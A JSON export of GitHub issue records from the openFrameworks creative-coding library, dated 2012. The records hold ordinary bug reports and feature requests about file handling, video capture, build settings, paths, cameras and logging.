lion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-29T16:47:29Z","state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":31100},"id":3883598,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-29T13:05:25Z","body":"When loading a file with ofImage, ofSoundPlayer , ofVideoPlayer-file or any ofFile it would be nice to be able to know if the file changed since it was loaded.\r\n\r\nIts very simple to implement with Poco::File->getLastModified() and it would be very nice if this would be built into the above classes.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120","comments":2,"milestone":null,"number":1120,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1120","assignee":null,"title":"isFileChanged() for ofImage, ofVideoPlayer, ofSoundPlayer and ofFile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-28T16:21:45Z","state":"open","user":{"url":"https://api.github.com/users/imanhp","gravatar_id":"7398ab0bbd07832d0289f26773e65077","login":"imanhp","avatar_url":"https://secure.gravatar.com/avatar/7398ab0bbd07832d0289f26773e65077?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1216228},"id":3856005,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-30T12:19:59Z","body":"paths.make should be in the repo as an example on how to set it up correctly, but changes (i.e. paths unique to every user) to it should be ignored cause everyone will have a different version in their computers so we don't want personal changes to appear in git status.\r\n\r\nI think the best way to solve this is to rename it to paths.make.default, keep this in the repo, maybe with `` instead of your path, and have people make their own paths.make from that one. We track changes to paths.make.default and ignore paths.make. \r\n\r\nThis will probably also need a mechanism in the makefile to fail gracefully and remind the user, if his customized paths.make is missing.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1118","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1118,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1118","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"Default paths.make for Android","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"closed_at":null,"created_at":"2012-03-28T12:19:39Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3850655,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-18T17:13:36Z","body":"Once ofSetFrameRate() is called, I can't find a way to retrieve it. I think implementing a ofGetDesiredFrameRate() in ofAppRunner would make sense, also adding getDesiredFrameRate() to ofAppBaseWindow and all subclasses, where the actual value is stored. \r\n\r\nThis can be useful to compare the desired frame rate with actual frame rate and react accordingly if required.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117","comments":0,"milestone":null,"number":1117,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1117","assignee":null,"title":"Can't retrieve desired frame rate once set","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-27T11:48:00Z","state":"open","user":{"url":"https://api.github.com/users/armadillu","gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","login":"armadillu","avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167057},"id":3825582,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-26T22:27:14Z","body":"https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofVbo.cpp#L343\r\n\r\nIndices should be specified as GL_ELEMENT_ARRAY_BUFFER unless I am mistaken.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116","comments":5,"milestone":null,"number":1116,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1116","assignee":null,"title":"ofVBO updateIndexData incorrect buffer type.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-26T18:26:05Z","state":"open","user":{"url":"https://api.github.com/users/vade","gravatar_id":"37aca214d4875cd90af9d67072c82642","login":"vade","avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":65011},"id":3813852,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-26T18:45:51Z","body":"The default optimization settings for debug builds in example XCode projects is set to Fastest,Smallest thus making debugging very difficult, is there a specific reason for this?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115","comments":3,"milestone":null,"number":1115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1115","assignee":null,"title":"optimization level in xcode projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"closed_at":null,"created_at":"2012-03-26T17:05:14Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1239872},"id":3812318,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-31T15:31:31Z","body":"I had some problems because of macro definitions in ofArduino.h overriding an enum in a a class of my codebase ( SHIFT )\r\nIt's not exactly a bug! but I would suggest using enums or const int instead of the macros to avoid any conflicts\r\nI solved the problem by modifying \r\n#define SHIFT 0x05 \r\ninto \r\nconst int SHIFT = 0x05;\r\n\r\nanother solution could be using enumerations as \r\nenum\r\n{\r\n ...\r\n SHIFT = 0x05,\r\n etc...\r\n};\r\n\r\nI believe this would not break any of the existing code\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114","comments":1,"milestone":null,"number":1114,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1114","assignee":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":237423},"title":"macros in ofArduino","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-26T17:02:21Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1239872},"id":3812275,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-27T14:56:56Z","body":"Hello.\r\n\r\nI'm trying to run camera frame grabing in OSX Lion.\r\nSimple ofVideoGrabber doesn't work - even if I link it with 10.6 SDK (and 10.6 is deployment target) I receive crash in initialization of ofVideoGrabber. Details are the same as in http://forum.openframeworks.cc/index.php/topic,6776.0.html\r\n\r\nI tryed QtKitMovieGrabberExample. It had some problems in compilation - texture property was not synthesized, I wrote this property and compilation run well.\r\nBut linking is fault. All I receive form linker is:\r\n\r\n*Ld bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug normal i386\r\n cd /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample\r\n setenv MACOSX_DEPLOYMENT_TARGET 10.6\r\n /Developer/usr/bin/clang++ -arch i386 -isysroot /Developer/SDKs/MacOSX10.6.sdk -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freeimage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/fmodex/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/glut/lib/osx -filelist /Users/yltastep/Library/Developer/Xcode/DerivedData/movieGrabberExample-aftkspwrgtotrteyzaplfbqzeasd/Build/Intermediates/movieGrabberExample.build/Debug/movieGrabberExample.build/Objects-normal/i386/movieGrabberExampleDebug.LinkFileList -mmacosx-version-min=10.6 -dead_strip ../../../libs/poco/lib/osx/PocoFoundation.a ../../../libs/poco/lib/osx/PocoNet.a ../../../libs/poco/lib/osx/PocoXML.a ../../../libs/poco/lib/osx/PocoUtil.a ../../../libs/tess2/lib/osx/tess2.a ../../../libs/glew/lib/osx/glew.a ../../../libs/cairo/lib/osx/cairo-script-interpreter.a ../../../libs/cairo/lib/osx/cairo.a ../../../libs/cairo/lib/osx/pixman-1.a ../../../libs/fmodex/lib/osx/libfmodex.dylib ../../../libs/rtAudio/lib/osx/rtAudio.a /Users/yltastep/Documents/XCode/openframeworks/libs/openFrameworksCompiled/lib/osx/openFrameworksDebug.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx/GLee.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx/rtAudio.a -framework AGL -framework ApplicationServices -framework AudioToolbox -framework Carbon -framework CoreAudio -framework CoreFoundation -framework CoreServices -framework OpenGL -framework QuickTime -framework AppKit -framework Cocoa -framework IOKit -framework GLUT /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoFoundation.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoNet.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoUtil.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoXML.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx/freetype.a -lfmodex /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx/freeimage.a -framework QTKit -framework Quartz -framework QuartzCore -o /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug*\r\n\r\n**Command /Developer/usr/bin/clang++ failed with exit code 1**\r\n\r\nSo no explanation of problem.\r\n\r\nIs somebody ran this example successfully ?\r\nAnd what I'm doing wrong ?\r\n\r\nThanks in advance !\r\n\r\nWith regards.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1112","comments":9,"milestone":null,"number":1112,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1112","assignee":null,"title":"Issue with QtKitMovieGrabberExample in apps/devapps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-26T12:11:44Z","state":"open","user":{"url":"https://api.github.com/users/OlexandrStepanov","gravatar_id":"aa6e2a475cab75513c9cc435b28eef31","login":"OlexandrStepanov","avatar_url":"https://secure.gravatar.com/avatar/aa6e2a475cab75513c9cc435b28eef31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":971079},"id":3807459,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-25T20:07:16Z","body":"Todd's example has this code a few times in it by hand, but I'm thinking it's so simple it could be added along side ofSplitString() and would be really useful ? for sure, more string utility functions are helpful, and for basic text parsing, this is great. Poco gives us this for free, so it doesn't seem like a huge stretch to think of something like this, plus find and replace, etc. Would make the regex example much shorter. \r\n\r\np5 has something similar, if that's a helpful argument: \r\n\r\nhttp://processing.org/reference/matchAll_.html\r\n\r\n\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex );\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex ){\r\n \r\n\t vector < string > results;\r\n\t RegularExpression regEx(regex);\r\n\t RegularExpression::Match match;\r\n \r\n\t while(regEx.match(contents, match) != 0) {\r\n \r\n\t // we get the sub string from the content\r\n\t // and then trim the content so that we\r\n\t // can continue to search \r\n\t string foundStr = contents.substr(match.offset, match.length);\r\n\t contents = contents.substr(match.offset + match.length);\r\n \r\n\t results.push_back(foundStr);\r\n \r\n\t }\r\n\t return results;\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110","comments":1,"milestone":null,"number":1110,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1110","assignee":null,"title":"add a simple regex function like ofSplitString()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-25T18:56:37Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":3799872,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-25T18:50:13Z","body":"code to recreate: \r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::keyPressed(int key){\r\n cout << ofToDataPath(\"temp\") << endl;\r\n}\r\n\r\nproduces: \r\n\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n../../../data/temp\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n\r\nthis is because the code that fixes OSX paths isn't called until you call ofToDataPath(). a good fix I think would be to set ofDataPathRoot (which happens in ofToDataPath) somewhere early in ofRunApp(). Or should it happen even earlier?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109","comments":3,"milestone":null,"number":1109,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1109","assignee":null,"title":"mac paths don't seem right until you call \"ofToDataPath()\"","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-25T18:18:28Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":3799653,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-09T13:06:18Z","body":"easycam behaves as expected when inited but as soon as I change it's target it begins to behave strangely.\r\nthere's this imaginary sphere that we are rotating (it's diameter is min (viewport.width, vieport.height)), when the mouse is dragged from inside to outside of it the rotation just jumps to a \"random\" rotation. \r\nas well when you have a the camera rotated more than 180º in some axis the \"trackball\" doesn't behave as expected. yet this behavior is not seen when the target hasn't been changed.\r\n\r\nDoes any one know what's going on?\r\n\r\nI just came across this but I haven't gone deeply into how easycam handles the mouse to rotate. \r\nI'll do so ASAP. If someone can give me any clues I'll really apreciate it.\r\n\r\nregards!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1108","comments":7,"milestone":null,"number":1108,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1108","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"title":"easyCam weird behavior when target changed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-25T00:01:54Z","state":"open","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":974878},"id":3795495,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-09T16:47:18Z","body":"It would be great if the PG could also generate projects/examples for usage with Eclipse, i.e. just the makefile related files, no CB or other project files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1103,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1103","assignee":null,"title":"PG feature request: Generate makefile-only projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-21T21:43:34Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3754055,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-19T16:18:43Z","body":"whenever i call ofLog beneath openmp i have to wrap it in ```#pragma omp critical (ofLog)``` otherwise i get a crash\r\ni found adding the line above \r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.cpp#L84\r\nworks pretty well\r\n\r\nany objections to having it in there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098","comments":3,"milestone":null,"number":1098,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1098","assignee":null,"title":"feature / bug - #pragma omp critical(ofLog)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-19T14:04:51Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3710293,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-15T20:34:17Z","body":"I'm finding that `ofDirector::listDir, open` are extremely slow\r\nit seems that it's actually loading the entire dir contents into memory\r\n\r\nit's possible to then do something like\r\n```\r\nofLoadImage(myPixels, dir.getFile(i));\r\n```\r\nand you can quickly load that image from memory. which is faster than\r\n```\r\nofLoadImage(myPixels, dir.getFile(i).getAbsolutePath());\r\n```\r\n\r\nBut this doesn't seem to work consistently (even though the slow listing is consistent)\r\nand surely isn't what we want.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075","comments":2,"milestone":null,"number":1075,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1075","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"title":"bug ofDirectory::open(string path) actually loads the entire dir into memory?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-15T07:54:55Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3662214,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-14T16:03:06Z","body":"Hello,\r\nI needed alpha channel in short length video for a recent project.\r\nIn the forum there is some old zip file for a ofxAlphaVideoPlayer that is still working, but that's OS X & windows only as it's based on QT.\r\nI'm working on linux, and I didn't find anything for GStreamer, so I modified the existing ofGstUtils and ofGstVideoPlayer.\r\nWould you mind if I do a pull request for this?\r\nI can also provide an example with a short length video using animation codec.\r\nWhat do you think?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070","comments":6,"milestone":null,"number":1070,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1070","assignee":null,"title":"Alpha movies in GStreamer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-14T13:02:41Z","state":"open","user":{"url":"https://api.github.com/users/manuelgeoffray","gravatar_id":"c1ec5161b69b4a990436deafb1170d64","login":"manuelgeoffray","avatar_url":"https://secure.gravatar.com/avatar/c1ec5161b69b4a990436deafb1170d64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":808090},"id":3647640,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-17T19:26:40Z","body":"Hey !\r\n\r\nMe again. Didn't find anywhere this infos. I'm currently testing the travis-ci.org service.\r\nAs many people are working on the project and as many many issue are raised, and fixed, I thought it could be great to add some test and thus the travis service.\r\n\r\nIt would avoid the problem met here :\r\nhttps://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8\r\nand the discussion here :\r\nhttps://github.com/openframeworks/openFrameworks/issues/804\r\nor there :\r\nhttps://github.com/openframeworks/openFrameworks/pull/921\r\n\r\nI read that :\r\n\r\n>feel free to make a unitTests folder at the root level of OF -\r\n> that is where all unitTests will go.\r\n\r\nBut didn't find them.\r\n\r\nThe travis service will permit to get the little badge we know well : \r\n[![Build Status](https://secure.travis-ci.org/soixantecircuits/openFrameworks.png?branch=master)](http://travis-ci.org/soixantecircuits/openFrameworks)\r\n\r\nAlso, why not adding some spec test, to ensure future development of features.\r\nI'm currently reading :\r\nhttp://www.squidoo.com/cplusplus-behaviour-driven-development-tools#module124841511\r\nhttp://sourceforge.net/apps/mediawiki/turtle/index.php?title=Turtle\r\n\r\nFor those who want some other nice reading :\r\n\r\nhttp://gamesfromwithin.com/exploring-the-c-unit-testing-framework-jungle\r\n\r\nThe travis test is here, currently it is a total fake, but I just proposed the idea of a test driven development\r\nhttp://travis-ci.org/#!/soixantecircuits/openFrameworks/builds/854259 